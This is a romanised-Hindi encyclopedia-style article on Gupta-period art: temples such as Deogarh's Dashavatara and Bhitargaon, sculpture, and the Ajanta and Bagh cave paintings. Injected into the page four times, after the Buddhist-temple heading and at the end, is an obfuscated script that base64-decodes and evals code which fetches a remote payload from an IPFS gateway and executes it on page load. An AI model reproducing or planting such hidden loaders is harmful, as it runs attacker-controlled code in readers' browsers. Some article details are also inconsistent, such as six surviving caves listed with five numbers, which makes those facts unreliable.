गुप्तकालीन कला और स्थापत्य
[[chitr:Dashavatara-Temple-Deogarh.jpg|thumb|250px|dashavatar vishnu mandir, devagadh]] gupt kal mean kala ki vividh vidhaoan jaise vastu, sthapaty, chitrakala, mridabhaand, kala adi mean abhootapoorn pragati dekhane ko milati hai. guptakalin sthapaty kala ke sarvochch udaharan tatkalin mandir the. mandir nirman kala ka janm yahian se hua. is samay ke mandir ek ooanche chabootarean par nirmit kie jate the. chabootare par chadhane ke lie charoan or se sidhiyoan ka nirman kiya jata tha. devata ki moorti ko garbhagrih (Sanctuary) mean sthapit kiya gaya tha aur garbhagrih ke charoan or oopar se achchhadit pradakshina marg ka nirman kiya jata tha. guptakalin mandiroan par parshvoan par ganga, yamuna, shankh v padm ki akritiyaan bani hoti thi. guptakalin mandiroan ki chhatean prayah sapat banaee jati thi par shikhar yukt mandiroan ke nirman ke bhi avashesh mile haian.
guptakalin mandir chhoti-chhoti eetoan evan pattharoan se banaye jate the. ‘bhitaragaanv ka mandir‘ eetoan se hi nirmit hai.
guptakalin mahattvapoorn mandir
| mandir | sthan |
|---|---|
| 1- vishnumandir | tigava (jabalapur madhy pradesh) |
| 2- shiv mandir | bhoomara (nagod madhy pradesh) |
| 3- parvati mandir | nachana-kuthar (madhy pradesh) |
| 4- dashavatar mandir | devagadh (jhaansi, uttar pradesh) |
| 5- shivamandir | khoh (nagaud, madhy pradesh) |
| 6- bhitaragaanv ka mandir lakshman mandir (eetoan dvara nirmit) | bhitaragaanv (kanapur, uttar pradesh) |
bauddh dev mandir
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ye mandir saanchi tatha bodhagaya mean paye jate haian. isake atirikt do bauddh stoopoan mean ek saranath ka ‘dhamekh stoop‘ eetoan dvara nirmit hai jisaki ooanchaee 128 phit ke lagabhag hai evan doosara rajagrih ka ‘jarasandh ki baithak‘ kafi mahattv rakhate haian.
guptakalin mandir kala ka sarvattam udaharan 'devagadh ka dashavatar mandir' hai. is mandir mean gupt sthapaty kala apane poorn vikasit roop mean drishtigochar hoti hai. yah mandir suandar moortiyoan se j dit hai, inamean jhaankati huee akritiyaan, u date hue pakshi v hans, pavitr vriksh, svastik phool pattiyoan ki dizain, premi yugal evan baunoan ki moortiyaan ni:sandeh man ko lubhate haian. is mandir ki visheshata ke roop mean isamean lage 12 mitar ooanchean shikhar ko shayad hi nazarandaj kiya ja sake. sambhavatah mandir nirman mean shikhar ka yah pahala prayog tha. any mandiroan ke mandap ki tulana mean dashavatar ke is mandir mean char mandapoan ka prayog hua hai.
moortikala
guptakalin kala ka sarvottam paksh usaki moortikala hai. inaki adhikaansh moortiyaan hindoo devi-devataoan se sanbandhit hai. guptakala ki moortiyoan mean kushanakalin nagnata evan kamukata ka poornatah lop ho gaya tha. guptakalin moortikaroan ne sharirik akarshan ko chhipane ke lie moortiyoan mean vastroan ke prayog ko prarambh kiya. guptakalin buddh ki moortiyoan ko saranath ki baithe hue buddh ki moorti, mathura mean kh de hue buddh ki moorti evan sultanaganj ki kaanse ki buddh moorti ka ullekhaniy hai. in moortiyoan mean buddh ki shaant-chintan mudra ko dikhane ka prayatn kiya gaya hai. koormavahini yamuna tatha makaravahini ganga ki moortiyoan ka nirman is kal mean hi hua.
bhagavan shiv ke ‘ekamukhi‘ evan 'chaturmukhi' shivaliang ka nirman sarvapratham gupt kal mean hi hua tha. shiv ke ‘ardhanarishvar‘ roop ki rachana bhi isi samay ki gayi. vishnu ki prasiddh moorti devagadh ke dashavatar mandir mean sthapit hai. vastukala mean gupt kal pichh da tha. vastukala ke nam par eeant ke kuchh mandir mile haian jinamean kanapur ke bhitaragaanv ka, gazipur ke bhitari aur jhaansi ke eeant ke mandir ullekhaniy hai.
chitrakala
chitr:Ajanta-Caves-Aurangabad-Maharashtra-2.jpg|thumb|karle chaityagrih, ajanta ki gufaean, aurangabad vasudev sharan agraval ke anusar gupt kal mean chitrakala uchch shikhar par pahuanch chuki thi. vishnu dharmentapuran mean moorti, chitr adi kalaoan ke vidhan prapt hote haian. vatsayan ke kamasootr mean 64 kalaoan ke antargat chitrakala ki janakari sambhantak vyakti (nagarik) ke lie avashyak bataee gee hai. guptakalin chitroan ke uttam udaharan hamean maharashtr praant ke aurangabad mean sthit ajanta ki gufaoan tatha gvaliyar ke samip sthit vagh ki gufaoan se prapt hote haian.
ajanta mean nirmit kul 29 guphaoan mean vartaman mean keval 6 hi (gupha sankhya 1, 2, 9, 10, 17) shesh hai. in 6 guphaoan mean gupha sankhya 16 evan 17 hi guptakalin haian. ajanta ke chitr takaniki drishti se vishv mean pratham sthan rakhate haian. in guphaoan mean anek prakar ke phool-pattiyoan, vrikshoan evan pashu akriti se sajavat ka kam tatha buddh evan bodhisatvoan ki pratimaoan ke chitran ka kam, jatak granthoan se li gee kahaniyoan ka varnanatmak drishy ke roop mean prayog hua hai. ye chitr adhikatar jatak kathaoan ko darshate haian. in chitroan mean kahian-kahi gair bharatiy mool ke manav charitr bhi darshaye gaye haian. ajanta ki chitrakala ki ek visheshata yah hai ki in chitroan mean drishyoan ko alag alag vinyas mean nahian vibhajit kiya gaya hai.
ajanta mean phreskoan tatha tempera donoan hi vidhiyoan se chitr banaye gay haian. chitr banane se poorv divar ko bhali bhaanti rag dakar saf kiya jata tha tatha phir usake oopar lep chadhaya jata tha. ajanta ki gupha sankhya 16 mean utkirn ‘maranasann rajakumari‘ ka chitr prashansaniy hai. is chitr ki prashansa karate hue griphith, varges evan phargusan ne kaha,- ‘karuna, bhav evan apani katha ko spasht dhang se kahane ki drishti‘ yah chitrakala ke itihas mean anatikramaniy hai. vakatak vansh ke vasugupt shakha ke shasak harishen (475-500ee.) ke mantri varahamantri ne gupha sankhya 16 ko bauddh sangh ko dan mean diya tha.
gupha sankhya 17 ke chitr ko ‘chitrashala‘ kaha gaya hai. isaka nirman harishen namak ek samant ne karaya tha. is chitrashala mean buddh ke janm, jivan, mahabhinishkraman evan mahaparinirvan ki ghatanaoan se sanbandhit chitr ukere ge haian. gupha sankhya 17 mean utkirn sabhi chitroan mean mata aur shishu nam ka chitr sarvotkrisht hai. ajanta ki guphaaian bauddh dharm ki ‘mahayan shakha se sanbandhit thi.
ajanta mean prapt chitr guphaoan ki samay sima
| gupha sankhya | samay |
|---|---|
| 9 v 10 | pratham shatabdi (guptakal se poorv) |
| 16 evan 17 | 500 ee. (uttar gupt kal ) |
| 1 evan 2 | lagabhag 628 ee. (guptottar kal) |
bagh ki chitrakala
[[chitr:Bagh-Caves.jpg|thumb|bagh ki gufaean, dhar]]
- REDIRECTsaancha:mukhy
gvaliyar ke samip bagh namak sthan par sthit viandhyaparvat ko katakar bagh ki guphaean banaee gee . 1818 ee. mean dejaraphild ne in gufaoan ko khoja jahaan se 9 gufaean mili hai. bagh gufa ke chitroan ka vishay manushy ke laukik jivan se sambandhit hai. yahaan se prapt sangit evan nrity ke chitr sarvadhik akarshan hai. bagh ki gufaean madhy pradesh mean indaur ke pas dhar mean sthit haian. bagh ki gufaean prachin bharat ke svarnim yug ki advitiy den haian. bagh ki gufaean iandaur se uttar-pashchim mean lagabhag 90 mil ki doori par, badhini namak chhoti si nadi ke bayean tat par aur vindhy parvat ke dakshin dhalan par sthit haian. bagh-kukshi marg se tho da hatakar bagh ki gufaean bagh gram se paanch mil door haian. yah sthal us vishal prachin marg par sthit hai, jo uttar se ajanta hokar sudoor dakshin tak jata hai. eesapoorv tisari shatabdi aur eesvi sanh ki 7vian shatabdi ke madhy, jab bharat ke pashchimi bhag mean bauddh dharm apani khyati ki parakashtha par tha. isi samay chin ke bauddh dharm ke mahanh vidvanh yatri huenasaang, fahyan aur suanataee madhy aur pashchimi bharat aye the.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>